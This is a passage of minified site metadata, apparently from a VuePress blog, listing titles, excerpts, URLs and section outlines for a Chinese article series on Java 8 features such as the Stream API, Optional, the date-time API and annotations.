冰河",tag:["java8","binghe-code-java8"],excerpt:"Java8中有两大最为重要的改变。第一个是 Lambda 表达式;另外一个则是 Stream API(java.util.stream.*) ,那什么是Stream API呢?Java8中的Stream又该如何使用呢?",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"关于Java8的Stream API,都在这儿了"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/java8/2022-03-31-008-%E5%85%B3%E4%BA%8EJava8%E7%9A%84Stream%20API,%E9%83%BD%E5%9C%A8%E8%BF%99%E5%84%BF%E4%BA%86.html"},{name:"twitter:title",content:"关于Java8的Stream API,都在这儿了"},{name:"twitter:url",content:"/md/core/java/java8/2022-03-31-008-%E5%85%B3%E4%BA%8EJava8%E7%9A%84Stream%20API,%E9%83%BD%E5%9C%A8%E8%BF%99%E5%84%BF%E4%BA%86.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/java8/2022-03-31-008-%E5%85%B3%E4%BA%8EJava8%E7%9A%84Stream%20API,%E9%83%BD%E5%9C%A8%E8%BF%99%E5%84%BF%E4%BA%86.html",relativePath:"md/core/java/java8/2022-03-31-008-关于Java8的Stream API,都在这儿了.md",key:"v-846f5b64",path:"/md/core/java/java8/2022-03-31-008-%E5%85%B3%E4%BA%8EJava8%E7%9A%84Stream%20API,%E9%83%BD%E5%9C%A8%E8%BF%99%E5%84%BF%E4%BA%86.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"什么是Stream?",slug:"什么是stream"},{level:2,title:"Stream操作的三个步骤",slug:"stream操作的三个步骤"},{level:2,title:"如何创建Stream?",slug:"如何创建stream"},{level:3,title:"1.获取Stream",slug:"_1-获取stream"},{level:3,title:"2.由数组创建Stream",slug:"_2-由数组创建stream"},{level:3,title:"3.由值创建流",slug:"_3-由值创建流"},{level:3,title:"4.由函数创建流",slug:"_4-由函数创建流"},{level:2,title:"Stream的中间操作",slug:"stream的中间操作"},{level:3,title:"1.筛选与切片",slug:"_1-筛选与切片"},{level:3,title:"2.映射",slug:"_2-映射"},{level:3,title:"3.排序",slug:"_3-排序"},{level:2,title:"Stream 的终止操作",slug:"stream-的终止操作"},{level:3,title:"1.查找与匹配",slug:"_1-查找与匹配"},{level:3,title:"2.规约",slug:"_2-规约"},{level:3,title:"3.收集",slug:"_3-收集"},{level:2,title:"并行流与串行流",slug:"并行流与串行流"},{level:2,title:"Fork/Join 框架",slug:"fork-join-框架"},{level:3,title:"1.简单概述",slug:"_1-简单概述"},{level:3,title:"2.Fork/Join 框架与传统线程池的区别",slug:"_2-fork-join-框架与传统线程池的区别"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"强大的Stream API,你了解吗",frontmatter:{layout:"post",category:"binghe-code-life",title:"强大的Stream API,你了解吗",tagline:"by 冰河",tag:["java8","binghe-code-java8"],excerpt:"今天,一名读者出去面试,面试官问他:说说Java8中创建Stream流有哪几种方式?他竟然没回答上来!!",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"强大的Stream API,你了解吗"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/java8/2022-03-31-009-%E5%BC%BA%E5%A4%A7%E7%9A%84Stream%20API%EF%BC%8C%E4%BD%A0%E4%BA%86%E8%A7%A3%E5%90%97.html"},{name:"twitter:title",content:"强大的Stream API,你了解吗"},{name:"twitter:url",content:"/md/core/java/java8/2022-03-31-009-%E5%BC%BA%E5%A4%A7%E7%9A%84Stream%20API%EF%BC%8C%E4%BD%A0%E4%BA%86%E8%A7%A3%E5%90%97.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/java8/2022-03-31-009-%E5%BC%BA%E5%A4%A7%E7%9A%84Stream%20API%EF%BC%8C%E4%BD%A0%E4%BA%86%E8%A7%A3%E5%90%97.html",relativePath:"md/core/java/java8/2022-03-31-009-强大的Stream API,你了解吗.md",key:"v-2eb2e8db",path:"/md/core/java/java8/2022-03-31-009-%E5%BC%BA%E5%A4%A7%E7%9A%84Stream%20API%EF%BC%8C%E4%BD%A0%E4%BA%86%E8%A7%A3%E5%90%97.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"Stream概述",slug:"stream概述"},{level:2,title:"何为Stream?",slug:"何为stream"},{level:2,title:"Stream操作步骤",slug:"stream操作步骤"},{level:2,title:"如何创建Stream流?",slug:"如何创建stream流"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"Stream API有哪些中间操作?看完你也可以吊打面试官!!",frontmatter:{layout:"post",category:"binghe-code-life",title:"Stream API有哪些中间操作?看完你也可以吊打面试官!!",tagline:"by 冰河",tag:["java8","binghe-code-java8"],excerpt:"多个中间操作可以连接起来形成一个流水线,除非流水线上触发终止操作,否则中间操作不会执行任何的处理!而在终止操作时一次性全部处理,称为“惰性求值” 。 Stream的中间操作是不会有任何结果数据输出的。Stream的中间操作在整体上可以分为:筛选与切片、映射、排序。接下来,我们就分别对这些中间操作进行简要的说明。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"Stream API有哪些中间操作?看完你也可以吊打面试官!!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/java8/2022-03-31-010-Stream%20API%E6%9C%89%E5%93%AA%E4%BA%9B%E4%B8%AD%E9%97%B4%E6%93%8D%E4%BD%9C,%E7%9C%8B%E5%AE%8C%E4%BD%A0%E4%B9%9F%E5%8F%AF%E4%BB%A5%E5%90%8A%E6%89%93%E9%9D%A2%E8%AF%95%E5%AE%98.html"},{name:"twitter:title",content:"Stream API有哪些中间操作?看完你也可以吊打面试官!!"},{name:"twitter:url",content:"/md/core/java/java8/2022-03-31-010-Stream%20API%E6%9C%89%E5%93%AA%E4%BA%9B%E4%B8%AD%E9%97%B4%E6%93%8D%E4%BD%9C,%E7%9C%8B%E5%AE%8C%E4%BD%A0%E4%B9%9F%E5%8F%AF%E4%BB%A5%E5%90%8A%E6%89%93%E9%9D%A2%E8%AF%95%E5%AE%98.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/java8/2022-03-31-010-Stream%20API%E6%9C%89%E5%93%AA%E4%BA%9B%E4%B8%AD%E9%97%B4%E6%93%8D%E4%BD%9C,%E7%9C%8B%E5%AE%8C%E4%BD%A0%E4%B9%9F%E5%8F%AF%E4%BB%A5%E5%90%8A%E6%89%93%E9%9D%A2%E8%AF%95%E5%AE%98.html",relativePath:"md/core/java/java8/2022-03-31-010-Stream API有哪些中间操作,看完你也可以吊打面试官.md",key:"v-7589dd4c",path:"/md/core/java/java8/2022-03-31-010-Stream%20API%E6%9C%89%E5%93%AA%E4%BA%9B%E4%B8%AD%E9%97%B4%E6%93%8D%E4%BD%9C,%E7%9C%8B%E5%AE%8C%E4%BD%A0%E4%B9%9F%E5%8F%AF%E4%BB%A5%E5%90%8A%E6%89%93%E9%9D%A2%E8%AF%95%E5%AE%98.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"Stream的中间操作",slug:"stream的中间操作"},{level:2,title:"筛选与切片",slug:"筛选与切片"},{level:3,title:"1.filter()方法",slug:"_1-filter-方法"},{level:3,title:"2.limit()方法",slug:"_2-limit-方法"},{level:3,title:"3.skip()方法",slug:"_3-skip-方法"},{level:3,title:"4.distinct()方法",slug:"_4-distinct-方法"},{level:2,title:"映射",slug:"映射"},{level:3,title:"1.map()方法",slug:"_1-map-方法"},{level:3,title:"2.flatMap()",slug:"_2-flatmap"},{level:2,title:"排序",slug:"排序"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"Java8中的Stream API有哪些终止操作",frontmatter:{layout:"post",category:"binghe-code-life",title:"Java8中的Stream API有哪些终止操作",tagline:"by 冰河",tag:["java8","binghe-code-java8"],excerpt:"如果你出去面试,面试官问了你关于Java8 Stream API的一些问题,比如:Java8中创建Stream流有哪几种方式?(可以参见:《[强大的Stream API,你了解吗](/md/java/java8/2022-03-31-009-强大的Stream API,你了解吗.md)》)Java8中的Stream API有哪些中间操作?(可以参见:《[Stream API有哪些中间操作,看完你也可以吊打面试官](/md/java/java8/2022-03-31-010-Stream API有哪些中间操作,看完你也可以吊打面试官.md)》)如果你都很好的回答了这些问题,那么,面试官可能又会问你:Java8中的Stream API有哪些终止操作呢?没错,这就是Java8中有关Stream API的灵魂三问!不要觉得是面试官在为难你,只有你掌握了这些细节,你就可以反过来吊打面试官了!",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"Java8中的Stream API有哪些终止操作"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/java8/2022-03-31-011-Java8%E4%B8%AD%E7%9A%84Stream%20API%E6%9C%89%E5%93%AA%E4%BA%9B%E7%BB%88%E6%AD%A2%E6%93%8D%E4%BD%9C.html"},{name:"twitter:title",content:"Java8中的Stream API有哪些终止操作"},{name:"twitter:url",content:"/md/core/java/java8/2022-03-31-011-Java8%E4%B8%AD%E7%9A%84Stream%20API%E6%9C%89%E5%93%AA%E4%BA%9B%E7%BB%88%E6%AD%A2%E6%93%8D%E4%BD%9C.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/java8/2022-03-31-011-Java8%E4%B8%AD%E7%9A%84Stream%20API%E6%9C%89%E5%93%AA%E4%BA%9B%E7%BB%88%E6%AD%A2%E6%93%8D%E4%BD%9C.html",relativePath:"md/core/java/java8/2022-03-31-011-Java8中的Stream API有哪些终止操作.md",key:"v-63159a55",path:"/md/core/java/java8/2022-03-31-011-Java8%E4%B8%AD%E7%9A%84Stream%20API%E6%9C%89%E5%93%AA%E4%BA%9B%E7%BB%88%E6%AD%A2%E6%93%8D%E4%BD%9C.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"Stream的终止操作",slug:"stream的终止操作"},{level:2,title:"查找与匹配",slug:"查找与匹配"},{level:3,title:"1.allMatch()",slug:"_1-allmatch"},{level:3,title:"2.anyMatch()方法",slug:"_2-anymatch-方法"},{level:3,title:"3.noneMatch()方法",slug:"_3-nonematch-方法"},{level:3,title:"4.findFirst()方法",slug:"_4-findfirst-方法"},{level:3,title:"5.findAny()方法",slug:"_5-findany-方法"},{level:3,title:"6.count()方法",slug:"_6-count-方法"},{level:3,title:"7.max()方法",slug:"_7-max-方法"},{level:3,title:"8.min()方法",slug:"_8-min-方法"},{level:3,title:"9.forEach()方法",slug:"_9-foreach-方法"},{level:2,title:"规约",slug:"规约"},{level:2,title:"收集",slug:"收集"},{level:2,title:"如何收集Stream流?",slug:"如何收集stream流"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"关于并行流与串行流,你必须掌握这些!!",frontmatter:{layout:"post",category:"binghe-code-life",title:"关于并行流与串行流,你必须掌握这些!!",tagline:"by 冰河",tag:["java8","binghe-code-java8"],excerpt:"提到Java8,我们不得不说的就是Lambda表达式和Stream API。而在Java8中,对于并行流和串行流同样做了大量的优化。对于并行流和串行流的知识,也是在面试过程中,经常被问到的知识点。当然,我们不能只是为了应付面试来学习这些知识,更重要的是将这些知识运用到实际的工作中,更好的提高我们的工作效率和工作质量。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"关于并行流与串行流,你必须掌握这些!!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/java8/2022-03-31-012-%E5%85%B3%E4%BA%8E%E5%B9%B6%E8%A1%8C%E6%B5%81%E4%B8%8E%E4%B8%B2%E8%A1%8C%E6%B5%81%EF%BC%8C%E4%BD%A0%E5%BF%85%E9%A1%BB%E6%8E%8C%E6%8F%A1%E8%BF%99%E4%BA%9B.html"},{name:"twitter:title",content:"关于并行流与串行流,你必须掌握这些!!"},{name:"twitter:url",content:"/md/core/java/java8/2022-03-31-012-%E5%85%B3%E4%BA%8E%E5%B9%B6%E8%A1%8C%E6%B5%81%E4%B8%8E%E4%B8%B2%E8%A1%8C%E6%B5%81%EF%BC%8C%E4%BD%A0%E5%BF%85%E9%A1%BB%E6%8E%8C%E6%8F%A1%E8%BF%99%E4%BA%9B.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/java8/2022-03-31-012-%E5%85%B3%E4%BA%8E%E5%B9%B6%E8%A1%8C%E6%B5%81%E4%B8%8E%E4%B8%B2%E8%A1%8C%E6%B5%81%EF%BC%8C%E4%BD%A0%E5%BF%85%E9%A1%BB%E6%8E%8C%E6%8F%A1%E8%BF%99%E4%BA%9B.html",relativePath:"md/core/java/java8/2022-03-31-012-关于并行流与串行流,你必须掌握这些.md",key:"v-d2391bb2",path:"/md/core/java/java8/2022-03-31-012-%E5%85%B3%E4%BA%8E%E5%B9%B6%E8%A1%8C%E6%B5%81%E4%B8%8E%E4%B8%B2%E8%A1%8C%E6%B5%81%EF%BC%8C%E4%BD%A0%E5%BF%85%E9%A1%BB%E6%8E%8C%E6%8F%A1%E8%BF%99%E4%BA%9B.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"什么是并行流?",slug:"什么是并行流"},{level:2,title:"Fork/Join 框架",slug:"fork-join-框架"},{level:2,title:"Fork/Join 框架与传统线程池有啥区别?",slug:"fork-join-框架与传统线程池有啥区别"},{level:2,title:"Fork/Join框架实例",slug:"fork-join框架实例"},{level:2,title:"Java8中的并行流实例",slug:"java8中的并行流实例"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"不了解Optional类,简历上别说你懂Java8",frontmatter:{layout:"post",category:"binghe-code-life",title:"不了解Optional类,简历上别说你懂Java8",tagline:"by 冰河",tag:["java8","binghe-code-java8"],excerpt:"最近,很多读者出去面试都在Java8上栽了跟头,事后自己分析,确实对Java8的新特性一知半解。然而,却在简历显眼的技能部分写着:熟练掌握Java8的各种新特性,能够迅速使用Java8开发高并发应用!这不,又一名读者因为写了熟练掌握Java8的新特性而被面试官虐的体无完肤!我不是说不能写,可以这样写!但是,咱在写熟练掌握Java8新特性的时候,应该静下心来好好想想自己是否真的掌握了Java8。如果自己心中对是否掌握了Java8这个问题模棱两可的话,那确实要好好静下心来为自己充电了!一定要从模棱两可到彻底掌握Java8,那到时就不是面试官虐你了,而是你吊打面试官!!",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"不了解Optional类,简历上别说你懂Java8"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/java8/2022-03-31-013-%E4%B8%8D%E4%BA%86%E8%A7%A3Optional%E7%B1%BB%EF%BC%8C%E7%AE%80%E5%8E%86%E4%B8%8A%E5%88%AB%E8%AF%B4%E4%BD%A0%E6%87%82Java8.html"},{name:"twitter:title",content:"不了解Optional类,简历上别说你懂Java8"},{name:"twitter:url",content:"/md/core/java/java8/2022-03-31-013-%E4%B8%8D%E4%BA%86%E8%A7%A3Optional%E7%B1%BB%EF%BC%8C%E7%AE%80%E5%8E%86%E4%B8%8A%E5%88%AB%E8%AF%B4%E4%BD%A0%E6%87%82Java8.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/java8/2022-03-31-013-%E4%B8%8D%E4%BA%86%E8%A7%A3Optional%E7%B1%BB%EF%BC%8C%E7%AE%80%E5%8E%86%E4%B8%8A%E5%88%AB%E8%AF%B4%E4%BD%A0%E6%87%82Java8.html",relativePath:"md/core/java/java8/2022-03-31-013-不了解Optional类,简历上别说你懂Java8.md",key:"v-2c4ceec9",path:"/md/core/java/java8/2022-03-31-013-%E4%B8%8D%E4%BA%86%E8%A7%A3Optional%E7%B1%BB%EF%BC%8C%E7%AE%80%E5%8E%86%E4%B8%8A%E5%88%AB%E8%AF%B4%E4%BD%A0%E6%87%82Java8.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"什么是Optional类?",slug:"什么是optional类"},{level:2,title:"Optional类示例",slug:"optional类示例"},{level:3,title:"1.创建Optional类",slug:"_1-创建optional类"},{level:3,title:"2.isPresent",slug:"_2-ispresent"},{level:3,title:"3.orElse和orElseGet",slug:"_3-orelse和orelseget"},{level:3,title:"4.orElseThrow",slug:"_4-orelsethrow"},{level:3,title:"5.get",slug:"_5-get"},{level:3,title:"6.filter",slug:"_6-filter"},{level:3,title:"7.map",slug:"_7-map"},{level:3,title:"8.flatMap",slug:"_8-flatmap"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"接口中的默认方法和静态方法,你都掌握了吗?",frontmatter:{layout:"post",category:"binghe-code-life",title:"接口中的默认方法和静态方法,你都掌握了吗?",tagline:"by 冰河",tag:["java8","binghe-code-java8"],excerpt:"在Java8之前的版本中,接口中只能声明常量和抽象方法,接口的实现类中必须实现接口中所有的抽象方法。而在Java8中,接口中可以声明默认方法和静态方法,本文,我们就一起探讨下接口中的默认方法和静态方法。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"接口中的默认方法和静态方法,你都掌握了吗?"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/java8/2022-03-31-014-%E6%8E%A5%E5%8F%A3%E4%B8%AD%E7%9A%84%E9%BB%98%E8%AE%A4%E6%96%B9%E6%B3%95%E5%92%8C%E9%9D%99%E6%80%81%E6%96%B9%E6%B3%95%EF%BC%8C%E4%BD%A0%E9%83%BD%E6%8E%8C%E6%8F%A1%E4%BA%86%E5%90%97.html"},{name:"twitter:title",content:"接口中的默认方法和静态方法,你都掌握了吗?"},{name:"twitter:url",content:"/md/core/java/java8/2022-03-31-014-%E6%8E%A5%E5%8F%A3%E4%B8%AD%E7%9A%84%E9%BB%98%E8%AE%A4%E6%96%B9%E6%B3%95%E5%92%8C%E9%9D%99%E6%80%81%E6%96%B9%E6%B3%95%EF%BC%8C%E4%BD%A0%E9%83%BD%E6%8E%8C%E6%8F%A1%E4%BA%86%E5%90%97.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/java8/2022-03-31-014-%E6%8E%A5%E5%8F%A3%E4%B8%AD%E7%9A%84%E9%BB%98%E8%AE%A4%E6%96%B9%E6%B3%95%E5%92%8C%E9%9D%99%E6%80%81%E6%96%B9%E6%B3%95%EF%BC%8C%E4%BD%A0%E9%83%BD%E6%8E%8C%E6%8F%A1%E4%BA%86%E5%90%97.html",relativePath:"md/core/java/java8/2022-03-31-014-接口中的默认方法和静态方法,你都掌握了吗.md",key:"v-2dd51a14",path:"/md/core/java/java8/2022-03-31-014-%E6%8E%A5%E5%8F%A3%E4%B8%AD%E7%9A%84%E9%BB%98%E8%AE%A4%E6%96%B9%E6%B3%95%E5%92%8C%E9%9D%99%E6%80%81%E6%96%B9%E6%B3%95%EF%BC%8C%E4%BD%A0%E9%83%BD%E6%8E%8C%E6%8F%A1%E4%BA%86%E5%90%97.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"接口中的默认方法",slug:"接口中的默认方法"},{level:2,title:"默认方法的原则",slug:"默认方法的原则"},{level:2,title:"接口中的静态方法",slug:"接口中的静态方法"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"关于Java8中的日期时间API,你需要掌握这些!!",frontmatter:{layout:"post",category:"binghe-code-life",title:"关于Java8中的日期时间API,你需要掌握这些!!",tagline:"by 冰河",tag:["java8","binghe-code-java8"],excerpt:"Java8之前的日期和时间API,存在一些问题,比如:线程安全的问题,跨年的问题等等。这些问题都在Hava8中的日期和时间API中得到了解决,而且Java8中的日期和时间API更加强大。立志成为架构师的你,必须掌握Java8中的日期和时间API。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"关于Java8中的日期时间API,你需要掌握这些!!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/java8/2022-03-31-015-%E5%85%B3%E4%BA%8EJava8%E4%B8%AD%E7%9A%84%E6%97%A5%E6%9C%9F%E6%97%B6%E9%97%B4API%EF%BC%8C%E4%BD%A0%E9%9C%80%E8%A6%81%E6%8E%8C%E6%8F%A1%E8%BF%99%E4%BA%9B.html"},{name:"twitter:title",content:"关于Java8中的日期时间API,你需要掌握这些!!"},{name:"twitter:url",content:"/md/core/java/java8/2022-03-31-015-%E5%85%B3%E4%BA%8EJava8%E4%B8%AD%E7%9A%84%E6%97%A5%E6%9C%9F%E6%97%B6%E9%97%B4API%EF%BC%8C%E4%BD%A0%E9%9C%80%E8%A6%81%E6%8E%8C%E6%8F%A1%E8%BF%99%E4%BA%9B.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/java8/2022-03-31-015-%E5%85%B3%E4%BA%8EJava8%E4%B8%AD%E7%9A%84%E6%97%A5%E6%9C%9F%E6%97%B6%E9%97%B4API%EF%BC%8C%E4%BD%A0%E9%9C%80%E8%A6%81%E6%8E%8C%E6%8F%A1%E8%BF%99%E4%BA%9B.html",relativePath:"md/core/java/java8/2022-03-31-015-关于Java8中的日期时间API,你需要掌握这些.md",key:"v-5d25a704",path:"/md/core/java/java8/2022-03-31-015-%E5%85%B3%E4%BA%8EJava8%E4%B8%AD%E7%9A%84%E6%97%A5%E6%9C%9F%E6%97%B6%E9%97%B4API%EF%BC%8C%E4%BD%A0%E9%9C%80%E8%A6%81%E6%8E%8C%E6%8F%A1%E8%BF%99%E4%BA%9B.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"本地时间和时间戳",slug:"本地时间和时间戳"},{level:2,title:"使用 LocalDate、 LocalTime、 LocalDateTime",slug:"使用-localdate、-localtime、-localdatetime"},{level:2,title:"Instant 时间戳",slug:"instant-时间戳"},{level:2,title:"Duration 和 Period",slug:"duration-和-period"},{level:2,title:"日期的操纵",slug:"日期的操纵"},{level:2,title:"解析与格式化",slug:"解析与格式化"},{level:2,title:"时区的处理",slug:"时区的处理"},{level:2,title:"与传统日期处理的转换",slug:"与传统日期处理的转换"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"重复注解与类型注解,你真的学会了吗?",frontmatter:{layout:"post",category:"binghe-code-java8",title:"重复注解与类型注解,你真的学会了吗?",tagline:"by 冰河",tag:["bigdata","binghe-code-life"],excerpt:"在Java8之前,在某个类或者方法,字段或者参数上标注注解时,同一个注解只能标注一次。但是在Java8中,新增了重复注解和类型注解,也就是说,从Java8开始,支持在某个类或者方法,字段或者参数上标注多个相同的注解。那么,有读者就会问了:如何实现呢?别急,往下看!文中不只是Java8中的注解。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"重复注解与类型注解,你真的学会了吗?"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/java8/2022-03-31-016-%E9%87%8D%E5%A4%8D%E6%B3%A8%E8%A7%A3%E4%B8%8E%E7%B1%BB%E5%9E%8B%E6%B3%A8%E8%A7%A3%EF%BC%8C%E4%BD%A0%E7%9C%9F%E7%9A%84%E5%AD%A6%E4%BC%9A%E4%BA%86%E5%90%97.html"},{name:"twitter:title",content:"重复注解与类型注解,你真的学会了吗?"},{name:"twitter:url",content:"/md/core/java/java8/2022-03-31-016-%E9%87%8D%E5%A4%8D%E6%B3%A8%E8%A7%A3%E4%B8%8E%E7%B1%BB%E5%9E%8B%E6%B3%A8%E8%A7%A3%EF%BC%8C%E4%BD%A0%E7%9C%9F%E7%9A%84%E5%AD%A6%E4%BC%9A%E4%BA%86%E5%90%97.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/java8/2022-03-31-016-%E9%87%8D%E5%A4%8D%E6%B3%A8%E8%A7%A3%E4%B8%8E%E7%B1%BB%E5%9E%8B%E6%B3%A8%E8%A7%A3%EF%BC%8C%E4%BD%A0%E7%9C%9F%E7%9A%84%E5%AD%A6%E4%BC%9A%E4%BA%86%E5%90%97.html",relativePath:"md/core/java/java8/2022-03-31-016-重复注解与类型注解,你真的学会了吗.md",key:"v-670664d4",path:"/md/core/java/java8/2022-03-31-016-%E9%87%8D%E5%A4%8D%E6%B3%A8%E8%A7%A3%E4%B8%8E%E7%B1%BB%E5%9E%8B%E6%B3%A8%E8%A7%A3%EF%BC%8C%E4%BD%A0%E7%9C%9F%E7%9A%84%E5%AD%A6%E4%BC%9A%E4%BA%86%E5%90%97.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"JDK5中的注解",slug:"jdk5中的注解"},{level:3,title:"1.注解(@)",slug:"_1-注解"},{level:3,title:"2.作用",slug:"_2-作用"},{level:3,title:"3.如何理解注解?",slug:"_3-如何理解注解"},{level:3,title:"4.关于注解",slug:"_4-关于注解"},{level:3,title:"5.注解分为三个阶段",slug:"_5-注解分为三个阶段"},{level:3,title:"6.注解的属性类型",slug:"_6-注解的属性类型"},{level:3,title:"7.为注解增加属性",slug:"_7-为注解增加属性"},{level:2,title:"Java8中的注解",slug:"java8中的注解"},{level:3,title:"1.类型注解",slug:"_1-类型注解"},{level:3,title:"2.重复注解",slug:"_2-重复注解"},{level:2,title:"Java8对注解的增强",slug:"java8对注解的增强"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"Java8新特性总结",frontmatter:{layout:"post",category:"binghe-code-life",title:"Java8新特性总结",tagline:"by 冰河",tag:["java8","binghe-code-java8"],excerpt:"说实话,肝这篇文章花了我一个月的时间,关于Java8的新特性全在这儿了,建议先收藏后阅读。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"Java8新特性总结"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/java8/2022-04-01-001-Java8%E6%96%B0%E7%89%B9%E6%80%A7%E6%80%BB%E7%BB%93.html"},{name:"twitter:title",content:"Java8新特性总结"},{name:"twitter:url",content:"/md/core/java/java8/2022-04-01-001-Java8%E6%96%B0%E7%89%B9%E6%80%A7%E6%80%BB%E7%BB%93.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/java8/2022-04-01-001-Java8%E6%96%B0%E7%89%B9%E6%80%A7%E6%80%BB%E7%BB%93.html",relativePath:"md/core/java/java8/2022-04-01-001-Java8新特性总结.md",key:"v-111f8a26",path:"/md/core/java/java8/2022-04-01-001-Java8%E6%96%B0%E7%89%B9%E6%80%A7%E6%80%BB%E7%BB%93.html",headers:[{level:2,title:"Java8有哪些新特性?",slug:"java8有哪些新特性"},{level:2,title:"Java8有哪些优点?",slug:"java8有哪些优点"},{level:2,title:"Lambda表达式",slug:"lambda表达式"},{level:3,title:"什么是Lambda表达式?",slug:"什么是lambda表达式"},{level:3,title:"匿名内部类",slug:"匿名内部类"},{level:3,title:"Lambda表达式",slug:"lambda表达式-2"},{level:3,title:"对比常规方法和Lambda表达式",slug:"对比常规方法和lambda表达式"},{level:3,title:"匿名类到Lambda表达式",slug:"匿名类到lambda表达式"},{level:3,title:"Lambda表达式的语法",slug:"lambda表达式的语法"},{level:3,title:"函数式接口",slug:"函数式接口"},{level:3,title:"Lambda表达式典型案例",slug:"lambda表达式典型案例"},{level:3,title:"案例一",slug:"案例一"},{level:3,title:"案例二",slug:"案例二"},{level:3,title:"案例三",slug:"案例三"},{level:2,title:"函数式接口总览",slug:"函数式接口总览"},{level:3,title:"四大核心函数式接口总览",slug:"四大核心函数式接口总览"},{level:3,title:"其他函数接口总览",slug:"其他函数接口总览"},{level:3,title:"四大核心函数式接口",slug:"四大核心函数式接口"},{level:3,title:"Consumer接口",slug:"consumer接口"},{level:3,title:"Supplier接口",slug:"supplier接口"},{level:3,title:"Function接口",slug:"function接口"},{level:3,title:"Predicate接口",slug:"predicate接口"},{level:2,title:"Java7与Java8中的HashMap",slug:"java7与java8中的hashmap"},{level:3,title:"JDK8 HashMap重排序",slug:"jdk8-hashmap重排序"},{level:2,title:"筛选与切片",slug:"筛选与切片"},{level:2,title:"中间操作",slug:"中间操作"},{level:2,title:"终止操作",slug:"终止操作"},{level:2,title:"归约",slug:"归约"},{level:2,title:"Optional 容器类",slug:"optional-容器类"},{level:2,title:"方法引用与构造器引用",slug:"方法引用与构造器引用"},{level:3,title:"方法引用",slug:"方法引用"},{level:3,title:"构造器引用",slug:"构造器引用"},{level:3,title:"数组引用",slug:"数组引用"},{level:2,title:"Java8中的Stream",slug:"java8中的stream"},{level:3,title:"什么是Stream?",slug:"什么是stream"},{level:3,title:"Stream操作的三个步骤",slug:"stream操作的三个步骤"},{level:3,title:"如何创建Stream?",slug:"如何创建stream"},{level:3,title:"Stream的中间操作",slug:"stream的中间操作"},{level:3,title:"Stream 的终止操作",slug:"stream-的终止操作"},{level:3,title:"并行流与串行流",slug:"并行流与串行流"},{level:3,title:"Fork/Join 